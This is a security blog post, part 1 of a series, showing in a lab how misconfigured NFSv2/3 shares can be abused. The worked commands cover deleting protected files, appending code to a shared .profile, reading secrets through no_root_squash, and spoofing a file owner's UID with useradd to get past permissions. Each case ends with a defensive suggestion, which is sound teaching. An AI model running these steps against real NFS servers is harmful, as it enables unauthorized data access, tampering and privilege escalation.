Search This Blog

Thursday, 12 May 2016

NFS Abuse for Fun and Profit - Part 1



Part 1

In this blog I thought that it would be good to look at a common network filesystem in use on Linux and UNIX systems; that of NFS - specifically versions 2/3. NFSv3 can be found in Internet RFC1813, from 1995. For NFSv2 see RFC1094 from 1989 . NFSv4 really needs separate treatment.

Due to the fun that can be had, I've split it into a number of parts.

NFS is a way of sharing part or all of a UNIX filesystem to other computers, very much likes CIFS/Samba shares in the Windows world. It was developed in a time when there was less focus on security and, typically, hosts were generally trusted to be 'honest'.

So, why is this a problem I hear you ask.

Traditionally NFS was used to share user home areas, mail directories, and 'common' local applications. It has also be used to share application data between nodes. As an adversary, it naturally follows that if we can abuse NFS to read or write to those filesystems we can do useful things. For example...

- User home areas can have personal/private information, shell history files, ssh private keys, etc. All useful information to pilfer.
- User home areas have profile files and other shares may have other executable content. If we can write to these locations, worst case we could execute arbitrary code on the 'inaccessible' clients as an unprivileged user. If we are lucky root will execute these; this allows us to potentially elevate our access onto systems.
- Application data. Is this 'sensitive' info (customer data, for example), system backups (any /etc/shadow files, web server SSL private keys), database files, web server directories to present exploits to web clients.

… and this is just a small set of examples.

Depending on the access and type of data, we can compromise the confidentiality, integrity and availability of systems and/or data. This isn't just those in the NFS environment, but the information/access gained can be useful to allow us to pivot onto other systems.

When reading the examples, think what the consequences would be if the example files were each of the above, and you start to get an idea of the scope of abuse we can cause.

Rather than look at some complex penetration tester technique to compromise all of this, I will go through a number of simple, common and powerful techniques that can result in compromise. At each stage we will look at improving the situation and then look at other ways we can abuse it.

First, the setup used in the examples.

We will have three devices running Linux:
- centos-t-2-t1 will be the NFS server, sharing /myShare to all hosts with the no_root_squash option
- centos-7-2-t2 will be the legitimate NFS client, mounting it as /myNFSmount
- centos-7-2-t3 will be the adversaries' system.

Occasionally we will use sol10-u9-t4, which is a Solaris system as there are some useful differences to point out.

We also have implemented one of my pet hates. Due to 'problems' in getting things to work properly, the users have decided that doing a 'chmod 777' will fix things. Sigh  :-(

[root@centos-7-2-t1 ~]$ cat /etc/exports

/myShare          *(rw,no_root_squash)

[root@centos-7-2-t1 ~]# showmount --exports

Export list for centos-7-2-t1.m0noc.net:

/myShare *

[root@centos-7-2-t2 ~]# mount -t nfs -o tcp,vers=3 centos-7-2-t1:/myShare /myNFSmount

Now, before going into some of the detail it is worth mentioning two ways to mount NFS shares. There is the traditional 'mount' command as shown, but one that many people forget is the /net automount, which is available by default on Solaris. Here you change to the /net/HOSTNAME/MOUNT directory where HOSTNAME and MOUNT are the hostname/ip address and the share location to automatically mount it as an unprivileged user.

joe@sol10-u9-t4$ id

uid=102(joe) gid=1(other)

joe@sol10-u9-t4$ ls -la /net/centos-7-2-t1/myShare  

total 17

drwxr-xr-x   3 5000     5000          57 May 11  2016 .

dr-xr-xr-x   2 root     root           2 May 10 18:12 ..

-rwx------   1 5000     5000          43 May 11  2016 .profile

drwx------   2 root     root          16 May 11  2016 foo

----------   1 5000     5000          13 May 10 15:38 supersecretfile.txt

Admittedly, when I was trying this out on a Solaris 10U9 box and CentOS 7.2 I did have to tweak it as it attempted the mount over NFSv4. However, old versions of Solaris and Linux wont support NFSv4. Further, it is not uncommon for administrators to disable NFSv4 because of interoperability 'issues' like this. So, even in in the latest OS's, if the adversary has compromised a Solaris box as an unprivileged user, this could be a way to gain access to a share, rather than using their own box or escalating their privileges.

Finally, these are just examples. There are many variants and other tricks you can perform.

Case 1 – 'chmod 777'

This is an all too common 'fix' with users and administrators working round something not working correctly. It basically states, allow all users all forms of access to the file or directory. The beauty of it over NFS is that any user that can access it from any host can also experience the same privileges.

In this case the adversary doesn't even need their own system as the following will give them access (providing the system can see the share)-

- any system with root access allows them to mount it
- (potentially) any Solaris system as any user via the /net filesystem
- any legitimate (or otherwise) client that has mounted that filesystem

Let's assume that the NFS server has the following in the filesystem:

[root@centos-7-2-t1 myShare]# ls -la

total 8

drwxrwxrwx.  3 oracle oracle   84 May 11 13:43 .

dr-xr-xr-x. 19 root   root   4096 May 10 13:30 ..

----------.  1 oracle oracle    0 May 10 15:40 do-not-delete-me.txt

drwxr-xr-x.  2 root   root     16 May 11 13:43 foo

-rwxrwxrwx.  1 oracle oracle    18 May 11 13:47 .profile

-r--------.  1 oracle oracle   13 May 10 15:38 supersecretfile.txt

[root@centos-7-2-t1 myShare]# ls -l foo

total 0

-rwxr-x---. 1 root root 0 May 11 13:43 bar

Whilst under this setup there are a few things we cannot do as a non-privileged user, for example read or change ownership of supersecretfile.txt, we can do a few other things:

We can delete files we cannot access, as this is done by updating the directory inode:

[joe@centos-7-2-t2 myNFSmount]$ rm do-not-delete-me.txt

rm: remove write-protected regular empty file do-not-delete-me.txt? y

[joe@centos-7-2-t2 myNFSmount]$

We can update world-writable files like .profile, so if anyone sources that file (e.g on a client we don't have access too) then we can run arbitrary code as that user (inc root!) on that client.



[joe@centos-7-2-t2 myNFSmount]$ echo echo You have been pwned >> .profile

[joe@centos-7-2-t2 myNFSmount]$

However, we cannot overwrite the foo sub-directory, but as we know what is in there we can 'replace' it. Again, this is because the move is updating the world-writable directory inode and not the file.

[joe@centos-7-2-t2 myNFSmount]$ mv foo no.foo

[joe@centos-7-2-t2 myNFSmount]$ mkdir foo

[joe@centos-7-2-t2 myNFSmount]$ echo You have been pwned >> foo/bar

[joe@centos-7-2-t2 myNFSmount]$

Result:

[root@centos-7-2-t1 myShare]# find . -ls

1248132    0 drwxrwxrwx   4 oracle   oracle         70 May 11 13:53 .

1431703    4 -r--------   1 oracle   oracle         13 May 10 15:38 ./supersecretfile.txt

492804    4 -rwxrwxrwx   1 oracle   oracle         43 May 11 13:52 ./.profile

492802    0 drwxr-xr-x   2 root     root           16 May 11 13:43 ./no.foo

492803    0 -rwxr-x---   1 root     root            0 May 11 13:43 ./no.foo/bar

33848916    0 drwxrwxr-x   2 6000     6000           16 May 11 13:53 ./foo

33848917    4 -rw-rw-r--   1 6000     6000           20 May 11 13:53 ./foo/bar

Suggestion 1 – set appropriate permissions on your files – don't allow world write.

Case 2 – no_root_squash

This is only ever useful+safe(ish) for diskless clients or Jumpstart servers as a read-only share. It allows the root user on any system that can access the NFS share to act as if they are root on files within that share.

Conversely, when root is 'squashed', root from the client is treated as an unprivileged user on the server. Therefore, root owned files on the server are accessed as a non-root user by root on the client.

Anyway, in this case of no_root_squash, the adversary either needs to gain root access to a legitimate or other client, or be able to access it from their own system (one would expect they have root access on that).

Lets assume we have the following setup on the share:

[root@centos-7-2-t1 myShare]# find . -ls

1248132    0 drwx------   3 oracle   oracle         57 May 11 13:59 .

1431703    4 ----------   1 oracle   oracle         13 May 10 15:38 ./supersecretfile.txt

492804    4 -rwx------   1 oracle   oracle         43 May 11 13:52 ./.profile

492802    0 drwx------   2 root     root           16 May 11 13:43 ./foo

492803    0 -rwx------   1 root     root            0 May 11 13:43 ./foo/bar

Now, on an attacker controlled box we can just access supersecretfile.txt:

[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3 10.255.0.13:/myShare /tgtNFSmount/

[root@centos-7-2-t3 ~]# cd /tgtNFSmount

[root@centos-7-2-t3 tgtNFSmount]# cat supersecretfile.txt

nobody knows

Or, for example, change the ownership of an arbitrary file:

[root@centos-7-2-t3 tgtNFSmount]# chown root .profile

[root@centos-7-2-t3 tgtNFSmount]# ls -l .profile

-rwx------. 1 root oracle 43 May 11 13:52 .profile

It gets worse; but more on that in part 2.

Suggestion 2 – don't use no_root_squash unless absolutely necessary; even then it should be read-only.

Case 3 – Permissions don't really matter

It was hinted at in case 2, but one of the most fundamental things to understand about NFS is that the client server plays a pivotal role in the authentication decision.

Let's assume we start with the same situation as in case 2:

[root@centos-7-2-t1 myShare]# find . -ls

1248132    0 drwx------   3 oracle   oracle         57 May 11 13:59 .

1431703    4 ----------   1 oracle   oracle         13 May 10 15:38 ./supersecretfile.txt

492804    4 -rwx------   1 oracle   oracle         43 May 11 13:52 ./.profile

492802    0 drwx------   2 root     root           16 May 11 13:43 ./foo

492803    0 -rwx------   1 root     root            0 May 11 13:43 ./foo/bar

Except this time, we don't export the filesystem with no_root_squash:

[root@centos-7-2-t1 myShare]# cat /etc/exports

/myShare          *(rw)

Now, if the attacker mounts or accesses the share as root:

[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3 10.255.0.13:/myShare /tgtNFSmount/

[root@centos-7-2-t3 ~]# cd /tgtNFSmount/

-bash: cd: /tgtNFSmount/: Permission denied

[root@centos-7-2-t3 ~]# ls -ld /tgtNFSmount/

drwx------. 3 5000 5000 57 May 11 13:59 /tgtNFSmount/

Well, that's annoying.

But all is not lost. As we are root on the client (the attackers box), we can just create a new user with uid 5000, become that user and access the share – since the owner of the file/dir isn't root:

[root@centos-7-2-t3 ~]# useradd -u 5000 -m bh5000

[root@centos-7-2-t3 ~]# su - bh5000

[bh5000@centos-7-2-t3 ~]$ cd /tgtNFSmount/

[bh5000@centos-7-2-t3 tgtNFSmount]$ ls -l

total 4

drwx------. 2 root   root   16 May 11 13:43 foo

----------. 1 bh5000 bh5000 13 May 10 15:38 supersecretfile.txt

We can then change the permissions of  supersecretfile.txt to read it, and perform the same trick as in case 1 to replace the foo directory.

Note that on the NFS server the owner is oracle, but here it is bh5000. This is because the OS and NFS work on UID/GIDs and not names. The local server translates the UID/GID to meaningful names based on /etc/passwd or other name services, as a convenience for us humans. In this case UID 5000 and GID 5000.

Note in this case, as we don't have no_root_squash, any root-owned file is not as easy to access; and won't work via this trick (unless the existing permissions allow it).

In the next part I will be looking at escalating privileges via further abuse of the NFS share, and adding some improved countermeasures.